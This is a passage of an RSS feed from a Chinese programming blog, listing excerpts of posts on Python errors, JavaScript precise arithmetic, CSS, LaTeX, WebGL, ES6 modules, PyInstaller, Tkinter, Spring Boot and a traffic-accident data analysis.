      <description>语法错误(SyntaxError) 语法错误(SyntaxError)是python中新手最常见的错误对与此种方法，对于这种错误只能看报错在第几行，然后往上找错误：&#xA;a = b = 0 if a = b: print(a) #SyntaxError: invalid syntax 索引错误(IndexError) 我们在使用序列的时候经常会遇到索引错误(IndexError)，对于这种错误我们一般要看索引的值是否超出了范围：&#xA;# 索引错误 str = &#39;12345678&#39; print(str[99]) IndexError: string index out of range 类型错误(TypeError) 类型错误(TypeError)，这种错误往往是因为使用的方法中传递的参数与期望的参数不一致造成的，我们可以通过报错的类型来进行代码的修正：&#xA;# 类型错误 a = &#39;123&#39; b = 123 print(a + b) # TypeError: must be str, not int 缩进错误(IndentationError) 缩进错误(IndentationError)，在python中语句块没有c那样复杂的语法而他的语法则是靠缩进，因此python对缩进有严格的要求，对于此类错误，我们只要书写代码规范即可避免，若遇到这种错误往往是报错行数上面的语句没有的到期望的缩进造成的：审查上边语句，根据语句补全缩进或者减少缩进就行。&#xA;# 缩进错误 a = b = 0 if a==0: print(&#39;123&#39;) # IndentationError: expected an indented block 键错误(KeyError) 键错误(KeyError)，一般情况下python这中错误都是存在与字典中的，而且大部分为引用key值且字典里没有该key值造成的。</description>
    </item>
    <item>
      <title>js的精确计算</title>
      <link>https://bchobby.github.io/posts/0877821ef0bd0cc9976ec21304cf9c4e/</link>
      <pubDate>Tue, 10 Jul 2018 18:01:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0877821ef0bd0cc9976ec21304cf9c4e/</guid>
      <description>//加法函数，用来得到精确的加法结果 //javascript的加法结果会有误差，在两个浮点数相加的时候会比较明显。这个函数返回较为精确的加法结果。 function accAdd(arg1,arg2){ var r1,r2,m; try{r1=arg1.toString().split(&#34;.&#34;)[1].length}catch(e){r1=0} try{r2=arg2.toString().split(&#34;.&#34;)[1].length}catch(e){r2=0} m=Math.pow(10,Math.max(r1,r2)); return (accMul(arg1,m)+accMul(arg2,m))/m; } //javascript的乘法结果会有误差，在两个浮点数相乘的时候会比较明显。这个函数返回较为精确的乘法结果。 function accMul(arg1,arg2){ var m=0,s1=arg1.toString(),s2=arg2.toString(); try{m+=s1.split(&#34;.&#34;)[1].length}catch(e){} try{m+=s2.split(&#34;.&#34;)[1].length}catch(e){} return Number(s1.replace(&#34;.&#34;,&#34;&#34;))*Number(s2.replace(&#34;.&#34;,&#34;&#34;))/Math.pow(10,m) } (function () { var calc = { /* 函数，加法函数，用来得到精确的加法结果 说明：javascript的加法结果会有误差，在两个浮点数相加的时候会比较明显。这个函数返回较为精确的加法结果。 参数：arg1：第一个加数；arg2第二个加数；d要保留的小数位数（可以不传此参数，如果不传则不处理小数位数） 调用：Calc.Add(arg1,arg2,d) 返回值：两数相加的结果 */ Add: function (arg1, arg2) { arg1 = arg1.toString(), arg2 = arg2.toString(); var arg1Arr = arg1.split(&#34;.&#34;), arg2Arr = arg2.split(&#34;.&#34;), d1 = arg1Arr.length == 2 ? arg1Arr[1] : &#34;&#34;, d2 = arg2Arr.length == 2 ? arg2Arr[1] : &#34;</description>
    </item>
    <item>
      <title>关于css盒子模型和BFC的理解</title>
      <link>https://bchobby.github.io/posts/0b85cd5595a7093868b4daa7dd66e1c8/</link>
      <pubDate>Tue, 10 Jul 2018 16:22:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b85cd5595a7093868b4daa7dd66e1c8/</guid>
      <description>CSS盒子模型&#xA;包含元素内容（content）、内边距（padding）、边框（border）、外边距（margin）&#xA;一般元素总宽度 = element的width+padding的左右边距+margin左右边距值+border的左右宽度&#xA;高度同理&#xA;外边距合并&#xA;上下外边距会合并一般发生在普通文档流中，行内框，浮动框或绝对定位之间外边距不会合并&#xA;一般合并的外边距会取那个较大的值&#xA;Box-sizing属性（content-box|border-box|inherit）&#xA;Content-box: 总宽度 = margin+border+padding+width&#xA;Border-box:总宽度 = width+margin 其中盒子的width包含padding+border+element&#xA;inherit:规定从父元素继承box-sizing的属性值&#xA;实践中的问题&#xA;Margin越界（第一个子元素的margin-top和最后一个子元素的margin-bottom） -&amp;gt;父元素没边框，设置第一个子元素的margin-top的值会加在父元素上，解决方法如下： 给父元素加边框给父元素设置padding父元素添加overflow：hidden父元素加前置内容生成（推荐） 例子：.parent{&#xA;Width:500px;&#xA;Height:500px;&#xA;Background:red&#xA;}&#xA;.parent : before{&#xA;Content:””;&#xA;Display:table&#xA;}&#xA;.child{&#xA;Width:200px;&#xA;Height:200px;&#xA;Background:green;&#xA;Margin-top:50px&#xA;}&#xA;&amp;lt;div class=“parent”&amp;gt;&#xA;&amp;lt;div class=“child”&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;浏览器间的盒子模型&#xA;ul在MOzillz中默认有padding值，而在IE中只有margin值标准盒子模型与IE盒子模型之间差异，IE更像box-sizing：border-box，解决方法就是在HTML模板加上doctype 盒子模型画三角形&#xA;.triangle{&#xA;Width:0;&#xA;Height:0;&#xA;Border:20px solid transparent;&#xA;Border-top:20px solid red;&#xA;}//向下的箭头&#xA;BFC理解（块级格式化上下文，独立的渲染区域，规定了内部的BFC如何布局，并与这个区域的外部互不相干）&#xA;BOX、Formatting Context的缩写&#xA;Box：CSS布局的基本单位&#xA;box常用盒子：(根据display的你属性区分盒子) -&amp;gt; block-level box:display属性为 block,list-item,tabel的元 素，并且参与BFC；</description>
    </item>
    <item>
      <title>交通事故致因分析</title>
      <link>https://bchobby.github.io/posts/02ebcb0903539fb456906175be1436c5/</link>
      <pubDate>Tue, 10 Jul 2018 14:26:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02ebcb0903539fb456906175be1436c5/</guid>
      <description>1、挖掘背景 随着时代的发展，我们的出行变的越来越便利的同时，也带来的越发严重的交通安全事故。我国的经济高速发展，全国汽车保有量，交通道路，人口等都在不断的增加，同时道路交通安全事故也进入高发期。分析事故发生的原因，找到事故发生的内在规律，对交通部门进行道路交通的改进和提高民众的出行安全具有重大意义。&#xA;本次提供了交通事故相关的多维度数据，通过对事故类型、事故人员、事故车辆、事故天气、驾照信息、驾驶人员犯罪记录数据以及其他和交通事故有关的数据进行深度挖掘，从中找到交通事故致因，分析事故发生的规律，形成交通事故成因分析的方案。&#xA;2、数据需求 现有的数据包括：交通事故的数据，包含事故时间、事故地点、发生者车辆类型、颜色、驾校和出生日期等字段。交通违法数据，包含驾驶证号、违法编号、违法类型、违法内容等字段。天气数据，包含了5月1日至12月8日的天气情况，有日期、天气、气温、风力风向等字段。&#xA;在现有的数据中，各个数据的形式不一，难以对其直接进行分析，故进行数据的合并。将事故数据、天气及违法数据整合为一个表，变成方便进行分析的数据格式。&#xA;3、数据探索及预处理 一、数据格式&#xA;通过探索发现，事故的数据格式是包含两个事故发生者各自的信息，需要对其进行处理，数据只包含事故肇事者的信息类型，即剔除事故责任为不负责任的类型。&#xA;二、日期格式处理&#xA;（1）事故数据的事故发生时间为日期和时间格式，而天气数据的时间格式为日期，故对事故的时间处理为，单独划分日期和事故发生时间点，即某个小时；&#xA;（2）初次发证时间也为日期和时间格式，考虑到后续的分析，只需对其转成日期格式即可。数据中存在“-1”，“0001-01-01 00:00:00”这些无效数据，先将其修改为NA，然后计算驾龄。&#xA;（3）年龄数据，现按最高驾龄为75岁计算，即保留75以下的数据，其余的赋值为NA，计算出年龄保存。&#xA;（4）气温数据是“15℃ / 9℃ ”，“12℃ / 6℃”格式，现计算其均值作为后续分析的数据。&#xA;（5）天气数据是“多云 /阴”，“多云 /阵雨”的格式，现将含有小雨中雨的字段定义为“中雨及以下”，含大雨暴雨阵雨字段定义为“大雨及以上”，含有冻雨和雪的字段定义为“下雪”，含有多云阴晴字段的定义为“晴”，方便后续的分析。&#xA;4、交通事故分析及可视化 一、肇事者性别分析&#xA;对于交通事故，“女司机”、“马路杀手”、“所到之处寸草不生”等词语都是用来形容女性司机的。原因是人们一直认为女性司机最容易引发交通安全事故，然而事实是什么呢？通过下图，我们发现男性肇事者在交通事故中的比例远比女性要大，而且差距很大。但是这种差距是可以解释的，因为男性司机的比例是高于女性司机的。&#xA;二、男性女性事故类型分析 对事故发生的类型进行分析，可以发现，事故发生的类型主要是7和1，即未按规定让行和追尾，且男性和女性女性司机在事故类型上没有多大区别。所以，认为女性司机是“马路杀手”这个说法其实是不合理的。对于这种现象，应该提高民众的出行文明，遵守交通规则主动让行。&#xA;三、事故发生的年龄分析&#xA;对肇事者的年龄分析，从成年开始，随着年龄的增大，出于对自己车技的肯定，越容易发生事故，40岁左右达到高峰，30至40岁之间是事故高发的年龄段，40岁之后因为比较成熟，事故发生的情况逐渐减少。&#xA;四、事故发生的驾龄分析&#xA;从驾龄上分析，刚拿到驾驶执照的前面6年，事故发生的人数上升；经过3-6年的平缓期，10年以上驾龄的司机事故发生的概率又会上升；跟年龄相对应，20年以上的驾龄司机出事故的概率会减小，也就是我们常说的老司机。因为老司机的技术比较娴熟，开车经验丰富，可以避免许多事故。&#xA;五、事故发生的时间点分析&#xA;通过对事故发生的时间点分析，可以看出，事故的发生主要集中在上下班高峰，即上午8点下午18点左右的时间点，8-18点由于是工作时间，相比其他时间的人流量车流量增多，也是事故多发的。我们还可以看到，1月份2月份的事故发生较少，因为1-2月是春节假期，司机驾驶更加谨慎或者由于城市车流量减少，事故的发生大大减少，这是符合事实的。&#xA;六、肇事车辆类型分析&#xA;考虑车辆的类型。通过对肇事者车辆类型的频数统计及画词云，可以知道，长安、五菱这些货车类型发生交通事故的概率比较高，可能跟货车运货的情况或者这类车型存在比较大的安全隐患有关。&#xA;七、事故驾校分析&#xA;然而，再好的司机也是从驾校出来的，我们假设驾校的好坏会影响驾驶者的驾驶水平。对肇事者的驾校进行分析，发现通过自培拿到驾照的司机发生事故的人数很多，所以，生命无价，选择正规的驾校培训很重要。当然，要规避十一培这种学生出事故较多的驾校。&#xA;八、事故天气分析&#xA;从天气的分析中，得到2个结论：&#xA;（1）、该城市经常下雨，日常下雨天气占60%左右；&#xA;（2）、该城市64%的交通事故发生在雨天。&#xA;5、肇事者特征提取 我们希望通过对事故责任人的属性进行分析，总结出发生不同事故类型的特征人群。通过kmeans聚类的方法，对事故责任人的年龄、驾龄、违法次数进行聚类，初步分析导致事故发生的分类结果。&#xA;类&#xA;age&#xA;year&#xA;freq&#xA;1&#xA;-0.773427819&#xA;-0.672224362&#xA;-0.368067664&#xA;2&#xA;0.675471089&#xA;0.725751781&#xA;1.583014712&#xA;3&#xA;0.669054199&#xA;0.483409404&#xA;-0.574087967&#xA;第1类，年龄较小，驾龄低，违法次数也少，定义为安全驾驶人群 ；第2类年龄稍大，驾龄也稍高，违法次数很多，定义为高危驾驶人群；第3类年龄大驾龄高违法次数较少，定义为潜在威胁驾驶人群。&#xA;但是我们发现效果并不是很好，故试着选取其他属性进行聚类分析。&#xA;思考：&#xA;在这个数据中，运用聚类方法怎样识别碰瓷、骗保（违规次数，扣分、事故责任人次数，事故次数）。&#xA;文章未经博主同意，禁止转载！</description>
    </item>
    <item>
      <title>LaTex学习笔记（二）</title>
      <link>https://bchobby.github.io/posts/3f269a8ebb1df96eca23aaefc4d1c597/</link>
      <pubDate>Tue, 10 Jul 2018 09:58:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f269a8ebb1df96eca23aaefc4d1c597/</guid>
      <description>前言：&#xA;至此我们已经基本学习了如何排版文档中的标题、章节等待，今天我们接着上一篇博客继续学习LaTex的使用。这篇博客主要学习排版样式的设定，比如字体、字号、分栏已经参考文献。&#xA;一、设置页面参数&#xA;在默认的页面参数下，文档的pdf效果如下：&#xA;geometry 宏包提供了设置页面参数的简便方法，在 pdflatex 和 xelatex 编译命令下，我们既可以调用 geometry 宏包然后用其提供的 \geometry 命令设置页面参数，也可以将参数指定为宏包的选项。&#xA;比如，符合 Microsoft Word 习惯的页面设定是 A4 纸张，上下边距1英寸（2.54cm），左右边距 1.25英寸，于是我们可以通过如下两种等效的方式之一设定页边距：&#xA;\documentclass{ctexart} \usepackage[left=1.25in,right=1.25in, top=1in,bottom=1in]{geometry} % 设置页面参数的第一种方法 %\usepackage{geometry} % 等效的设置页面参数的第二种方法 %\geometry{left=1.25in,right=1.25in, top=1in,bottom=1in} \title{LaTeX入门} \author{小明\thanks{第一作者} \and 小红\thanks{第二作者} \and 隔壁老王\thanks{通讯作者}} \date{2018年7月7日} \begin{document} \maketitle \section*{第一章 LaTex介绍} LATEX是一个文档准备系统 (Document Preparing System)，它非常适用于生成高印刷质量的科技类和数学类文档。 \subsection*{1.1 概述} TEX是高德纳 (Donald E.Knuth) 开发的、以排版文字和数学公式为目的的一个计算机软件。 高德纳从1977年开始开发TEX，以发掘当时开始用于出版工业的数字印刷设备的潜力。 \par 在开始示例编译过程之前，有必要澄清几个概念：\par 引擎：全称为排版引擎，是读入源代码并编译生成文档的程序。\par 格式：是定义了一组命令的代码集。 \subsubsection*{1.1.1 LaTex的优缺点} 专业的排版输出，产生的文档看上去就像“印刷品”一样。\par 方便而强大的数学公式排版能力，无出其右。\par 绝大多数时候，用户只需专注于一些组织文档结构的基础命令，无需（或很少）操心文档的版面设计。\par 很容易生成复杂的专业排版元素，如脚注、交叉引用、参考文献、目录等。 \subsection*{1.2 安装} 在ctex.org下载ctex套装(203Mb或1.3Gb)（含MikTeX及WinEdt）。 \subsection*{1.3 概述} TEX是高德纳 (Donald E.</description>
    </item>
    <item>
      <title>WebGL学习笔记（3）</title>
      <link>https://bchobby.github.io/posts/ba6055491e81e1b473523eb02173e885/</link>
      <pubDate>Mon, 09 Jul 2018 21:10:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba6055491e81e1b473523eb02173e885/</guid>
      <description>根据上篇笔记，在对3D对象可进行普通的控制后，以及学习了http://hiwebgl.com的教程第10章内容：世界模型的载入以及控制镜头移动，经过多次调试矩阵代码，已经可以实现在世界中旋转镜头/控制移动，并添加3D对象在世界模型中进行相对移动&#xA;测试代码如下，拷贝到您的浏览器打开，方向键控制镜头旋转与移动&#xA;&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;style&amp;gt;&#xA;* {margin:0;padding:0;overflow:hidden;}&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;script id=&#34;vertex-shader&#34; type=&#34;x-shader/x-vertex&#34;&amp;gt;&#xA;attribute vec3 aVertexPosition;&#xA;attribute vec2 aTextureCoord;&#xA;uniform mat4 uPMatrix;&#xA;uniform mat4 uTranslateMatrix;&#xA;uniform mat4 uScaleMatrix;&#xA;uniform mat4 uRotateYMatrix;&#xA;uniform mat4 uRotateXMatrix;&#xA;uniform mat4 uRotateZMatrix;&#xA;varying vec2 vTextureCoord;&#xA;void main(void){&#xA;gl_Position = uPMatrix * uRotateZMatrix * uRotateYMatrix * uRotateXMatrix *uTranslateMatrix * uScaleMatrix * vec4(aVertexPosition, 1.0);&#xA;vTextureCoord = aTextureCoord;&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script id=&#34;fragment-shader&#34; type=&#34;x-shader/x-fragment&#34;&amp;gt;&#xA;precision mediump float;&#xA;varying vec2 vTextureCoord;</description>
    </item>
    <item>
      <title>Es6中的模块化Module,导入(import)导出(export)</title>
      <link>https://bchobby.github.io/posts/60379e4f2238b1b276ed531948848c4c/</link>
      <pubDate>Mon, 09 Jul 2018 07:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60379e4f2238b1b276ed531948848c4c/</guid>
      <description>虽互不曾谋面,但希望能和你成为笔尖下的朋友&#xA;以读书,技术,生活为主,偶尔撒点鸡汤&#xA;不作,不敷衍,意在真诚吐露,用心分享&#xA;点击左上方,可关注本刊&#xA;前言 在Es6之前,javascript没有模块系统,它无法将一个大程序拆分成若干个互相依赖的小文件,然后在用简单的方法拼装起来.为了做到模块化,在Es6之前,引入了AMD(Asynchronous module definition)与CMD(common module definition)&#xA;前者典型代表是requireJS(外国人搞出来的),后者是seajs(国内) 共同点:都是对模块定义的不同规范,都是异步加载模块,并且解决文件之间的依赖重命名冲突等问题。 不同点:模块定义的方式和模块加载机制是不同的,前者AMD(requirejs)是将所有文件同时加载,一次性引入,推崇依赖前置,也就是在定义模块时要先声明其依赖的模块,加载完模块后会立马执行该模块(运行时加载)&#xA;而CMD(seajs)强调的是一个文件一个模块,可按需引入,推崇依赖就近,加载完某个模块后不会立即执行,而是等遇到了require语句的时候在执行 .&#xA;两者的使用加载机制不同,也就导致了AMD(requirejs)模块会提前执行,用户体验好,而CMD(seajs)性能好,因为只有在需要时候才执行,在服务器端,nodejs使用的就是cmd规范,也就是需要什么包,就引入什么包,按需加入(编译时加载)&#xA;而在Es6的语言规格中引入了模块化功能,也就很好的取代了之前的commonjs和AMD规范了,成为了浏览器和服务器的通用的模块解决方案,在现今(vuejs,ReactJS)等框架大行其道中,都引入了Es6中的模块化(Module)机制,一些自动化打包工具webpack或者微信小游戏中也同样如此&#xA;您将在本文中学习到什么是模块,以及模块的导入导出,理解了这个,在一些基于脚手架搭建的项目里或者自动化构建工具中,就不觉得写法怪怪和迷路了的&#xA;正文从这里开始~&#xA;什么是模块？ 在Es6中引入let,const定义变量是解决访问变量的全局作用域问题,从而引入块级作用域,解决命名冲突,同名全局污染,安全等问题&#xA;模块可以理解为函数代码块的功能,是封装对象的属性和方法的javascript代码,它可以是某单个文件,变量或者函数,&#xA;在Es6模块中,无论有没有加&#34;use strict&#34;,都会自动采用严格模式,而且在模块顶部创建的变量不会自动被添加全局作用域中,这个变量仅在模块的顶级作用域中存在,而且模块必须导出一些外部代码可以访问的元素,如变量或者函数,模块也可以从其他模块导入绑定&#xA;在模块与模块之间的特性与作用域关系不大(例如微信小程序或者小游戏中的各个文件就是不同的模块,在该文件定义的变量或者函数只在该文件内作用),但也很重要,在模块的顶部,this的值是undefined,另外,模块不支持HTML风格的代码注释&#xA;模块实质上是对业务逻辑分离实现低耦合高内聚,也便于代码管理而不是所有功能代码堆叠在一起,模块真正的魔力所在是仅导出和导入你需要的绑定,而不是将所有的东西都放到一个文件&#xA;引入模块与引入脚本是有区别的,前者更多是按需引入加载,后者而是无论有没有用,全部一次性引入和加载,类似于通过script标签引入jQuery等库都是一次性载入&#xA;Node中模块的导出与导入 在Node模块中,采用的是commonjs规范,也就是使用require方式引入模块,而使用module.exports导出接口,在node中,例如如下代码example.js,当然你也是可以把属性值定义到外面去的,把下面这段代码存储脚本为example&#xA;/*&#xA;* 通过module.exports将数据进行对外暴露&#xA;*/&#xA;module.exports = {&#xA;name:&#34;随笔川迹&#34;,&#xA;funA:function(){&#xA;return `我是${this.name}`&#xA;}&#xA;}&#xA;// 或者把变量函数值定义在外面，例如,与上面等价，以下是常见写法&#xA;var name = &#34;随笔川迹&#34;;&#xA;var funA = function(){&#xA;return `我是${name}`&#xA;}&#xA;module.exports = {&#xA;name:name, // 至于前面的变量名可以任意,但是在另外一模块中引入时要与该变量名保持一致,否则就会报错，也可以只写一个name&#xA;funA:funA // 也可以只写一个funA&#xA;} 而在另外一文件命名requireExample.js中使用require方式引入&#xA;/*&#xA;*&#xA;* 通过require()的方式将外部模块引入</description>
    </item>
    <item>
      <title>Pyinstaller打包多个.py文件</title>
      <link>https://bchobby.github.io/posts/be8b17cc9a9538b7d4dc1509834c9a4e/</link>
      <pubDate>Mon, 09 Jul 2018 00:19:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be8b17cc9a9538b7d4dc1509834c9a4e/</guid>
      <description> 一、多文件打包为单一文件时，即pyinstaller 命令中加入了-F，也可能会导致错误。尽量不要使用-F。&#xA;二、尽量把打包后的文件放在英文目录下。&#xA;多个.py文件打包命令格式如下：&#xA;pyinstaller [主文件] -p [其他文件1] -p [其他文件2] --hidden-import [自建模块1] --hidden-import [自建模块2] 三、使用pyinstaller打包的时候，仅打包.py文件，其余依赖项只需在打包完成后，拷入打包生成的根目录即可。&#xA;四、举例说明：&#xA;我的文件构成 其中VIPCracker.py是主程序入口文件，其他.py文件是自建模块，需要在主文件中使用，zh_CN.qm和JygoxigmJ.db文件是程序中需要用到的额外文件(将它们放在打包后生成的.exe文件的同一个目录下即可)&#xA;以上文图中结构为例，在根目录打开命令窗口并进入根目录下，输入命令：&#xA;pyinstaller -F -i crack.ico -w VIPCracker.py -p CholenSql.py -p ImgICon.py -p VIPGUI.py --hidden-import CholenSql --hidden-import ImgICon --hidden-import VIPGUI拓展知识：pyinstaller 中的-i crack.ico 可以设置生成.exe文件的图标。 </description>
    </item>
    <item>
      <title>Tkinter学习-LabelFrame</title>
      <link>https://bchobby.github.io/posts/6e32ac60c8db6cd420f97432b4d0ffed/</link>
      <pubDate>Sun, 08 Jul 2018 13:35:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e32ac60c8db6cd420f97432b4d0ffed/</guid>
      <description>The Tkinter LabelFrame Widget&#xA;LabelFrame 组件是 Frame 组件的变体。默认情况下，LabelFrame 会在其子组件的周围绘制一个边框以及一个标题。&#xA;何时使用 LabelFrame 组件？&#xA;当你想要将一些相关的组件分为一组的时候，可以使用 LabelFrame 组件，比如一系列 Radiobutton（单选按钮）组件。&#xA;用法&#xA;为组件分组，需要先创建一个 LabelFrame，然后像往常一样将子组件添加进去。LabelFrame 组件会自动绘制一个边框将子组件包围起来，并在它们上方显示一个文本标题。&#xA;1. from tkinter import *&#xA;2. 3. master = Tk()&#xA;4. 5. group = LabelFrame(master, text=&#34;你从哪里得知鱼C？&#34;, padx=5, pady=5)&#xA;6. group.pack(padx=10, pady=10)&#xA;7. 8. v = IntVar()&#xA;9. r1 = Radiobutton(group, text=&#34;同学/同事介绍&#34;, variable=v, value=1).pack(anchor=W)&#xA;10. r2 = Radiobutton(group, text=&#34;老婆大人介绍&#34;, variable=v,value=2).pack(anchor=W)&#xA;11. r3 = Radiobutton(group, text=&#34;老师/学长介绍&#34;, variable=v, value=3).pack(anchor=W)&#xA;12. 13. mainloop()</description>
    </item>
    <item>
      <title>DES对称加密 并发引起的 java.lang.IllegalStateException: Cipher not initialized 异常</title>
      <link>https://bchobby.github.io/posts/fa00f203cd3c13ead38d60cb7fab98ad/</link>
      <pubDate>Sat, 07 Jul 2018 11:10:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa00f203cd3c13ead38d60cb7fab98ad/</guid>
      <description>项目在做高并发测试的时候，出现了异常如下，由于加密解密频繁 javax. crypto.Cipher 每次都要实例化，大量的实例化导致 Cipher 实例化失败。 解决办法：将已经实例化的Cipher对象，放在hashmap中，每次实例化的时候从MAP 获取，不存在的时候再进行实例化，问题解决。 2018-07-07 10:45:39.543 DEBUG org.mybatis.spring.SqlSessionUtils - Creating a new SqlSession 2018-07-07 10:45:39.544 DEBUG org.mybatis.spring.SqlSessionUtils - SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@1dce97a4] was not registered for synchronization because synchronization is not active 2018-07-07 10:45:39.544 DEBUG org.mybatis.spring.transaction.SpringManagedTransaction - JDBC Connection [com.alibaba.druid.proxy.jdbc.ConnectionProxyImpl@2e065a9e] will not be managed by Spring 2018-07-07 10:45:39.544 DEBUG com.jufengad.insurance.server.dao.InsuranceCategoryMapper.queryPageByparams - ==&amp;gt; Preparing: SELECT id, unique_code, parent_id, parent_code, category_name, description, category_key, category_level,pic_path, status, create_time, create_person from insurance_category where 1 = 1 order by category_level asc 2018-07-07 10:45:39.</description>
    </item>
    <item>
      <title>CDN通俗原理</title>
      <link>https://bchobby.github.io/posts/9d36434d0f1558c9d7682ecf4f1a55b6/</link>
      <pubDate>Fri, 06 Jul 2018 14:50:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d36434d0f1558c9d7682ecf4f1a55b6/</guid>
      <description>CDN通俗原理&#xA;背景：面对高速增加的互联网带宽，人们对网络速度的要求也越来越高，从从前只需要看文字的简版QQ，到后面看图文，在到现在可以看抖音之类的短视频，带宽的增加是翻倍在增加，未来对网速的需求只增不减。&#xA;CDN的全称是Content Delivery Network，即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节，使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络，CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容，解决 Internet网络拥挤的状况，提高用户访问网站的响应速度。&#xA;原始访问模式：用户根据路由到用户服务器端，中间有经过可能复杂的路由，也可能是简单优质的路由，网络存在不稳定的因素，会导致访问质量变差&#xA;加速后，一个源站的文件，发布到各个分布式服务器上，当不同地区的用户访问的时候，就近取到文件，进行访问，减少了中间链路的冗余。&#xA;常规的加速文件有，图片以及视频类的最为多，最近比较火的主播也是加速的类型之一，可谓是赚足了眼球。&#xA;CDN，通过这种方式对互联网行业起到了推掉的作用，帮助广大的网民实现网络需求。对应的CDN服务商也是在迅猛发展，阿里云，腾讯云，网宿、蓝汛、七牛云等。都在这个行业中群雄逐鹿。</description>
    </item>
    <item>
      <title>PDF电子发票内容提取</title>
      <link>https://bchobby.github.io/posts/c2141b87c8429d88ffdb74f85e66aa71/</link>
      <pubDate>Thu, 05 Jul 2018 21:37:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2141b87c8429d88ffdb74f85e66aa71/</guid>
      <description>可以点击这里使用发票提取软件：发票解析&#xA;请参考最新的实现方案： 浅谈电子发票识别方案&#xA;在线使用：发票提取&#xA;摘要 本文介绍如何提取PDF版电子发票的内容。&#xA;1. 加载内容 首先使用Python的pdfplumber库读入内容。&#xA;FILE=r&#34;data/test-2.pdf&#34; pdf=pb.open(FILE) page=pdf.pages[0] 接着读取内容并提取线段。&#xA;words=page.extract_words(x_tolerance=5) lines=page.lines # 获取线段（不包括边框线） for word in words: print(word) # 坐标换算 for index,word in enumerate(words): words[index][&#34;y0&#34;]=word[&#34;top&#34;] words[index][&#34;y1&#34;]=word[&#34;bottom&#34;] for index,line in enumerate(lines): lines[index][&#34;x1&#34;]=line[&#34;x0&#34;]+line[&#34;width&#34;] lines[index][&#34;y0&#34;]=line[&#34;top&#34;] lines[index][&#34;y1&#34;]=line[&#34;bottom&#34;] 2. 还原表格 为了将内容划分到合理的位置，需要还原出表格。&#xA;首先，把线段分类为横线和竖线，并且剔除较短的两根。&#xA;hlines=[line for line in lines if line[&#34;width&#34;]&amp;gt;0] # 筛选横线 hlines=sorted(hlines,key=lambda h:h[&#34;width&#34;],reverse=True)[:-2] #剔除较短的两根 vlines=[line for line in lines if line[&#34;height&#34;]&amp;gt;0] #筛选竖线 vlines=sorted(vlines,key=lambda v:v[&#34;y0&#34;]) #按照坐标排列 将线段展示出来如下图。&#xA;此时的线段是不闭合的，将缺少的线段补齐得到表格如下。&#xA;# 查找边框顶点 hx0=hlines[0][&#34;x0&#34;] # 左侧 hx1=hlines[0][&#34;</description>
    </item>
    <item>
      <title>SpringBoot - 声明式事务管理</title>
      <link>https://bchobby.github.io/posts/7879bdec497aafdc84a5cbbf2c43ce7b/</link>
      <pubDate>Thu, 05 Jul 2018 18:47:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7879bdec497aafdc84a5cbbf2c43ce7b/</guid>
      <description>感谢作者: http://blog.720ui.com/2017/springboot_02_data_transactional/&#xA;讲解 Spring Boot 如何使用声明式事务管理。&#xA;声明式事务Spring 支持声明式事务，使用 @Transactional 注解在方法上表明这个方法需要事务支持。此时，Spring 拦截器会在这个方法调用时，开启一个新的事务，当方法运行结束且无异常的情况下，提交这个事务。 Spring 提供一个 @EnableTransactionManagement 注解在配置类上来开启声明式事务的支持。使用了 @EnableTransactionManagement 后，Spring 会自动扫描注解 @Transactional 的方法和类。 Spring Boot默认集成事务Spring Boot 默认集成事务，所以无须手动开启使用 @EnableTransactionManagement 注解，就可以用 @Transactional注解进行事务管理。 数据库准备 CREATE TABLE `t_author` ( `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT &#39;用户ID&#39;, `real_name` varchar(32) NOT NULL COMMENT &#39;用户名称&#39;, `nick_name` varchar(32) NOT NULL COMMENT &#39;用户匿名&#39;, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8; 添加依赖 &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-jdbc&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.</description>
    </item>
    <item>
      <title>Spring Boot整合JdbcTemplates</title>
      <link>https://bchobby.github.io/posts/ba2bbc51cbea3a769c561b1300f4eeeb/</link>
      <pubDate>Thu, 05 Jul 2018 16:29:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba2bbc51cbea3a769c561b1300f4eeeb/</guid>
